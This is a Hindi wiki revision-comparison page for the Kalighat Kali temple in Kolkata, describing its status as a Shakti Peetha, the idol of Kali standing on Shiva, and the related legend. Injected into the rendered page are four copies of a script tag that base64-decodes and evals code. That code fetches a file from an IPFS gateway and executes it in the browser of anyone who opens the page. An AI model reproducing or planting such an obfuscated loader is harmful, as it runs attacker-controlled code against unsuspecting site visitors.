"कालीघाट काली मंदिर" के अवतरणों में अंतर
छो (Adding category Category:धार्मिक स्थल कोश (को हटा दिया गया हैं।)) |
गोविन्द राम (चर्चा | योगदान) |
||
(एक अन्य सदस्य द्वारा किये गये बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | {{सूचना बक्सा मन्दिर | |
− | '''कालीघाट काली मंदिर''' [[पश्चिम बंगाल]] के [[कोलकाता]] शहर के कालीघाट में स्थित [[काली देवी|देवी काली]] का प्रसिद्ध मंदिर है। | + | |चित्र=Kalighat-Temple-1.jpg |
− | + | |चित्र का नाम=कालीघाट काली मंदिर | |
− | + | |वर्णन=परंपरागत रूप से हावड़ा स्टेशन से 7 किलोमीटर दूर कालीघाट के काली मंदिर को शक्तिपीठ माना जाता है। | |
− | + | |स्थान=[[कोलकाता]], [[पश्चिम बंगाल]] | |
− | + | |निर्माता= | |
− | + | |जीर्णोद्धारक= | |
− | + | |निर्माण काल= | |
− | + | |देवी-देवता= [[काली देवी]], [[शिव]] | |
− | + | |वास्तुकला= | |
+ | |भौगोलिक स्थिति= | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1=प्रतिमा स्वरूप | ||
+ | |पाठ 1=[[काली देवी|देवी काली]] भगवान [[शिव]] के छाती पर पैर रखी हुई हैं। उनके गले में नरमुण्डों की माला है। उनकी निकली हुई जीभ से रक्त की कुछ बूंदें भी टपक रही हैं। | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=यहाँ [[सती]] के दाएँ पाँव की 4 उँगलियों (अँगूठा छोड़कर) का पतन हुआ था। यहाँ की शक्ति 'कालिका' व भैरव 'नकुलेश' हैं। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''कालीघाट काली मंदिर''' [[शक्तिपीठ|51 शक्तिपीठों]] में से एक है। [[हिन्दू धर्म]] के [[पुराण|पुराणों]] के अनुसार जहां-जहां [[सती]] के अंग के टुकड़े, धारण किए [[वस्त्र]] या [[आभूषण]] गिरे, वहां-वहां शक्तिपीठ अस्तित्व में आये। ये अत्यंत पावन [[तीर्थ स्थान|तीर्थस्थान]] कहलाये। ये तीर्थ पूरे भारतीय उपमहाद्वीप पर फैले हुए हैं। देवीपुराण में [[शक्तिपीठ|51 शक्तिपीठों]] का वर्णन है। | ||
+ | ==काली शक्तिपीठ== | ||
+ | कालीघाट काली मंदिर [[पश्चिम बंगाल]] के [[कोलकाता]] शहर के कालीघाट में स्थित [[काली देवी|देवी काली]] का प्रसिद्ध मंदिर है। कोलकाता में भगवती के अनेक प्रख्यान स्थल हैं। परंपरागत रूप से हावड़ा स्टेशन से 7 किलोमीटर दूर काली घाट के काली मंदिर को शक्तिपीठ माना जाता है, जहाँ सती के दाएँ पाँव की 4 उँगलियों (अँगूठा छोड़कर) का पतन हुआ था। यहाँ की शक्ति 'कालिका' व भैरव 'नकुलेश' हैं। इस पीठ में काली की भव्य प्रतिमा मौजूद है, जिनकी लंबी लाल जिह्वा मुख से बाहर निकली है। मंदिर में त्रिनयना माता रक्तांबरा, मुण्डमालिनी, मुक्तकेशी भी विराजमान हैं। पास ही में नकुलेश का भी मंदिर है। | ||
+ | [[चित्र:Kalighat-Temple.jpg|thumb|left|कालीघाट काली मंदिर, [[कोलकाता]]]] | ||
+ | ==देवी काली की प्रतिमा== | ||
+ | काली मंदिर में देवी काली के प्रचंड रूप की प्रतिमा स्थापित है। इस प्रतिमा में [[काली देवी|देवी काली]] भगवान [[शिव]] के छाती पर पैर रखी हुई हैं। उनके गले में नरमुण्डों की माला है। उनके हाथ में कुल्हाड़ी तथा कुछ नरमुण्ड है। उनके कमर में भी कुछ नरमुण्ड बंधा हुआ है। उनकी जीभ निकली हुई है। उनके जीभ से रक्त की कुछ बूंदें भी टपक रही हैं। | ||
==अनुश्रुतियों के अनुसार== | ==अनुश्रुतियों के अनुसार== | ||
− | + | इस मूर्त्ति के पीछे कुछ अनुश्रुतियाँ भी प्रचलित है। इस अनुश्रुति के अनुसार देवी किसी बात पर गुस्सा हो गई थीं। इसके बाद उन्होंने नरसंहार करना शुरू कर दिया। उनके मार्ग में जो भी आता वह मारा जाता। उनके क्रोध को शांत करने के लिए भगवान [[शिव]] उनके रास्ते में लेट गए। देवी ने गुस्से में उनकी छाती पर भी पैर रख दिया। इसी समय उन्होंने भगवान शिव को पहचान लिया। इसके बाद ही उनका गुस्सा शांत हुआ और उन्होंने नरसंहार बंद किया। | |
− | + | ==दक्षिणेश्वर काली मंदिर== | |
+ | [[हुगली नदी|हुगली]] ([[गंगा]]) [[तट]] पर ही [[दक्षिणेश्वर मंदिर कोलकाता|दक्षिणेश्वर काली का भव्य मंदिर]] विद्यमान है। यहाँ पर [[रामकृष्ण परमहंस]] ने माँ जगदम्बा की आराधना की थी। | ||
+ | |||
+ | {{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | ||
+ | ==टीका-टिप्पणी और संदर्भ== | ||
+ | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
+ | {{शक्तिपीठ}} | ||
{{पश्चिम बंगाल के पर्यटन स्थल}} | {{पश्चिम बंगाल के पर्यटन स्थल}} | ||
+ | [[Category:कोलकाता]] | ||
+ | [[Category:कोलकाता के पर्यटन स्थल]] | ||
[[Category:पश्चिम_बंगाल]] | [[Category:पश्चिम_बंगाल]] | ||
[[Category:पश्चिम बंगाल के पर्यटन स्थल]] | [[Category:पश्चिम बंगाल के पर्यटन स्थल]] | ||
− | [[Category: | + | [[Category:शक्तिपीठ]] |
− | [[Category: | + | [[Category:हिन्दू_धर्म]] |
− | [[Category: | + | [[Category:हिन्दू_तीर्थ]] |
+ | [[Category:हिन्दू_मन्दिर]] | ||
[[Category:हिन्दू धार्मिक स्थल]] | [[Category:हिन्दू धार्मिक स्थल]] | ||
+ | [[Category:हिन्दू_धर्म_कोश]] | ||
[[Category:धार्मिक स्थल कोश]] | [[Category:धार्मिक स्थल कोश]] | ||
+ | [[Category:पर्यटन कोश]] | ||
__INDEX__ | __INDEX__ | ||
+ | __NOTOC__ |
14:14, 25 सितम्बर 2014 के समय का अवतरण
कालीघाट काली मंदिर
| |
वर्णन | परंपरागत रूप से हावड़ा स्टेशन से 7 किलोमीटर दूर कालीघाट के काली मंदिर को शक्तिपीठ माना जाता है। |
स्थान | कोलकाता, पश्चिम बंगाल |
देवी-देवता | काली देवी, शिव |
प्रतिमा स्वरूप | देवी काली भगवान शिव के छाती पर पैर रखी हुई हैं। उनके गले में नरमुण्डों की माला है। उनकी निकली हुई जीभ से रक्त की कुछ बूंदें भी टपक रही हैं। |
अन्य जानकारी | यहाँ सती के दाएँ पाँव की 4 उँगलियों (अँगूठा छोड़कर) का पतन हुआ था। यहाँ की शक्ति 'कालिका' व भैरव 'नकुलेश' हैं। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कालीघाट काली मंदिर 51 शक्तिपीठों में से एक है। हिन्दू धर्म के पुराणों के अनुसार जहां-जहां सती के अंग के टुकड़े, धारण किए वस्त्र या आभूषण गिरे, वहां-वहां शक्तिपीठ अस्तित्व में आये। ये अत्यंत पावन तीर्थस्थान कहलाये। ये तीर्थ पूरे भारतीय उपमहाद्वीप पर फैले हुए हैं। देवीपुराण में 51 शक्तिपीठों का वर्णन है।
काली शक्तिपीठ
कालीघाट काली मंदिर पश्चिम बंगाल के कोलकाता शहर के कालीघाट में स्थित देवी काली का प्रसिद्ध मंदिर है। कोलकाता में भगवती के अनेक प्रख्यान स्थल हैं। परंपरागत रूप से हावड़ा स्टेशन से 7 किलोमीटर दूर काली घाट के काली मंदिर को शक्तिपीठ माना जाता है, जहाँ सती के दाएँ पाँव की 4 उँगलियों (अँगूठा छोड़कर) का पतन हुआ था। यहाँ की शक्ति 'कालिका' व भैरव 'नकुलेश' हैं। इस पीठ में काली की भव्य प्रतिमा मौजूद है, जिनकी लंबी लाल जिह्वा मुख से बाहर निकली है। मंदिर में त्रिनयना माता रक्तांबरा, मुण्डमालिनी, मुक्तकेशी भी विराजमान हैं। पास ही में नकुलेश का भी मंदिर है।
देवी काली की प्रतिमा
काली मंदिर में देवी काली के प्रचंड रूप की प्रतिमा स्थापित है। इस प्रतिमा में देवी काली भगवान शिव के छाती पर पैर रखी हुई हैं। उनके गले में नरमुण्डों की माला है। उनके हाथ में कुल्हाड़ी तथा कुछ नरमुण्ड है। उनके कमर में भी कुछ नरमुण्ड बंधा हुआ है। उनकी जीभ निकली हुई है। उनके जीभ से रक्त की कुछ बूंदें भी टपक रही हैं।
अनुश्रुतियों के अनुसार
इस मूर्त्ति के पीछे कुछ अनुश्रुतियाँ भी प्रचलित है। इस अनुश्रुति के अनुसार देवी किसी बात पर गुस्सा हो गई थीं। इसके बाद उन्होंने नरसंहार करना शुरू कर दिया। उनके मार्ग में जो भी आता वह मारा जाता। उनके क्रोध को शांत करने के लिए भगवान शिव उनके रास्ते में लेट गए। देवी ने गुस्से में उनकी छाती पर भी पैर रख दिया। इसी समय उन्होंने भगवान शिव को पहचान लिया। इसके बाद ही उनका गुस्सा शांत हुआ और उन्होंने नरसंहार बंद किया।
दक्षिणेश्वर काली मंदिर
हुगली (गंगा) तट पर ही दक्षिणेश्वर काली का भव्य मंदिर विद्यमान है। यहाँ पर रामकृष्ण परमहंस ने माँ जगदम्बा की आराधना की थी।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका-टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>